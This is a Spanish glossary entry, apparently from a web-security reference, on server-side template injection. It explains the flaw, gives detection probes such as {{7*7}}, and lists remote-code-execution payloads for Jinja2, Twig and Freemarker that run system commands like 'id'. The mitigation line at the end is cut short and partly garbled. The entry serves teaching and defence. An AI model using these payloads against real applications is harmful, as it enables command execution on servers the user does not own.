SSTI (Server-Side Template Injection)
La aplicación pasa input del usuario a un motor de templates (Jinja2, Twig, Freemarker, Velocity) sin escape.
Categoría: Web · Vectores avanzados 🎯 Trinchera — La aplicación pasa input del usuario a un motor de templates (Jinja2, Twig, Freemarker, Velocity) sin escape. El input se evalúa como código del template → RCE. 🔗 Kill chain — Detección con${7*7} o {{7*7}} (devuelve 49).
Confirmación con dump del contexto. Escalada a RCE:
- Jinja2:
{{ ''.__class__.__mro__[1].__subclasses__() }}→ encuentrassubprocess.Popen→ RCE. - Twig:
{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}}. - Freemarker:
<#assign x="freemarker.template.utility.Execute"?new()>${x("id")}.
render_template_string(user_input), separar templates de datos.
← Volver al glosario completo Última actualización: 2026-06-11